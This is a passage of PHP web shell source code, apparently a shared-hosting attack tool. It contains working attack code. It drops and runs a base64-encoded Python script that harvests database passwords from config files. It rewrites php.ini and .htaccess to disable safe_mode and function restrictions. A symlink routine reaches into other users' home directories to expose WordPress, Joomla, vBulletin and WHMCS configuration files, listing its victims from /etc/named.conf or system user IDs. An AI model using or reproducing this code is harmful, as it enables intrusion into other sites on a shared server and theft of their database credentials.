l0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
  3509. $file = fopen("cp.py","w+");
  3510. $write = fwrite ($file ,base64_decode($cp));
  3511. fclose($file);
  3512. chmod("cp.py",0755);
  3513. $url = $_POST['url'];
  3514. echo"<center>
  3515. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  3516. system("python cp.py $url config");
  3517. unlink ('cp.py');
  3518. echo"</textarea>
  3519. </center>";
  3520. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
  3521. exit;
  3522. }
  3523. if($_POST['matikan']=='sekatan'){
  3524. @error_reporting(0);
  3525. $phpini =
  3526. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  3527. $file = fopen("php.ini","w+");
  3528. $write = fwrite ($file ,base64_decode($phpini));
  3529. fclose($file);
  3530. $htaccess =
  3531. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  3532. $file = fopen(".htaccess","w+");
  3533. $write = fwrite ($file ,base64_decode($htaccess));
  3534. echo "<hr><center><b>DONE!";
  3535. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
  3536. exit;
  3537. }
  3538. if($_POST['mendapatkan']=='passwd'){
  3539. @set_magic_quotes_runtime(0);
  3540. ob_start();
  3541. error_reporting(0);
  3542. @set_time_limit(0);
  3543. @ini_set('max_execution_time',0);
  3544. @ini_set('output_buffering',0);
  3545. $fn = $_POST['foldername'];
  3546. //all function here
  3547.  
  3548. function syml($usern,$pdomain)
  3549. {
  3550. symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  3551. symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  3552. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  3553. symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  3554. symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  3555. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  3556. symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  3557. symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  3558. symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  3559. symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  3560. symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  3561. symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  3562. symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  3563. symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  3564. symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  3565. symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  3566. symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  3567. symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  3568. symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  3569. symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  3570. symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  3571. symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  3572. symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  3573. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  3574. symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  3575. symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  3576. symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  3577. symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  3578. symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  3579. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  3580. symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  3581. symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  3582. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  3583. symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  3584. symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  3585. symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  3586. symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  3587. symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  3588. symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  3589. symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  3590. symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  3591. symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  3592. symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  3593. symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  3594. symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  3595. symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  3596. symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  3597. symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  3598. symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  3599. symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  3600. symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  3601. symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  3602. symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  3603. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  3604. symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  3605. symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  3606. symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  3607. symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  3608. symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  3609. symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  3610. symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  3611. symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  3612. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  3613. symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  3614. symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  3615. symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  3616. symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  3617. symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  3618. symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  3619. symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  3620. symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  3621. symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  3622. symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  3623. symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  3624. symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  3625. symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  3626. symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  3627. symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  3628. symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  3629. symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  3630. symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  3631. symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  3632. symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  3633. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  3634. symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  3635. symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  3636. symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  3637. symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  3638. symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  3639. symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  3640. symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  3641. symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  3642. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  3643. symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  3644. symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  3645. symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  3646. symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  3647. symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  3648. symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  3649. symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  3650. symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  3651. symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  3652. symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  3653. symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  3654. symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  3655. symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  3656. symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  3657. symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  3658. symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  3659. symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  3660. symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  3661. symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  3662. symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  3663. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  3664. symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  3665. symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  3666. symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  3667. symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  3668. symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  3669. symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  3670. symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  3671. symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  3672. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  3673. symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  3674. symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  3675. symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  3676. symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  3677. symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  3678. symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  3679. symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  3680. symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  3681. symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  3682. symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  3683. symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  3684. symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  3685. symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  3686. symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  3687. symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  3688. symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  3689. symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  3690. symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  3691. symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  3692. symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  3693. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  3694. symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  3695. symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  3696. symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  3697. symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  3698. symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  3699. symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  3700. symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  3701. symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  3702. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  3703. symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  3704. symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  3705. symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  3706. symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  3707. symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  3708. symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  3709. symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  3710. symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  3711. symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  3712. symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  3713. symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  3714. symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  3715. symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  3716. symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  3717. symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  3718. symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  3719. symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  3720. symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  3721. symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  3722. symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  3723. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  3724. symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  3725. symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  3726. symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  3727. symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  3728. symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  3729. symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  3730. symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  3731. symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  3732. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  3733. symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  3734. symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  3735. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  3736. symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  3737. symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  3738. symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  3739. symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  3740. symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  3741. symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  3742. symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  3743. symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  3744. symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  3745. symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  3746. symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  3747. symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  3748. symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  3749. symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  3750. symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  3751. symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  3752. symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  3753. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  3754. symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  3755. symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  3756. symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  3757. symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  3758. symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  3759. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  3760. }
  3761.  
  3762. $d0mains = @file("/etc/named.conf");
  3763.  
  3764. if($d0mains)
  3765. {
  3766. mkdir($fn);
  3767. chdir($fn);
  3768.  
  3769. foreach($d0mains as $d0main)
  3770. {
  3771. if(eregi("zone",$d0main))
  3772. {
  3773. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  3774. flush();
  3775.  
  3776. if(strlen(trim($domains[1][0])) > 2)
  3777. {
  3778. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  3779.  
  3780. syml($user['name'],$domains[1][0]);
  3781. }
  3782. }
  3783. }
  3784. echo "<center><font color=lime size=3>Done</font></center>";
  3785. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
  3786. }
  3787. else
  3788. {
  3789. mkdir($fn);
  3790. chdir($fn);
  3791. $temp = "";
  3792. $val1 = 0;
  3793. $val2 = 1000;
  3794. for(;$val1 <= $val2;$val1++)
  3795. {
  3796. $uid = @posix_getpwuid($val1);
  3797. if ($uid)
  3798. $temp .= join(':',$uid)."\n";
  3799. }
  3800. echo '<br/>';
  3801. $temp = trim($temp);
  3802.  
  3803. $file5 = fopen("test.txt","w");
  3804. fputs($file5,$temp);
  3805. fclose($file5);
  3806.  
  3807. $htaccess =
  3808. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  3809. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  3810. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  3811. ';
  3812. $file = fopen(".htaccess","w+");
  3813. $write = fwrite ($file ,base64_decode($htaccess));
  3814.  
  3815. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  3816. while(!feof($file))
  3817. {
  3818. $s = fgets($file);
  3819. $matches = array();
  3820. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  3821. $matches = str_replace("home/","",$matches[1]);
  3822. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  3823. continue;
  3824. syml($matches,$matches);
  3825. }
  3826. fclose($file);
  3827. echo "</table>";
  3828. unlink("test.txt");
  3829. echo "<center><font color=lime size=3>Done</font></center>";
  3830. echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
  3831. }
  3832. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  3833. exit;
  3834. }
  3835. ?>
  3836. <form method="POST" target="_blank">
  3837. <input name="page" type="hidden" value="find">
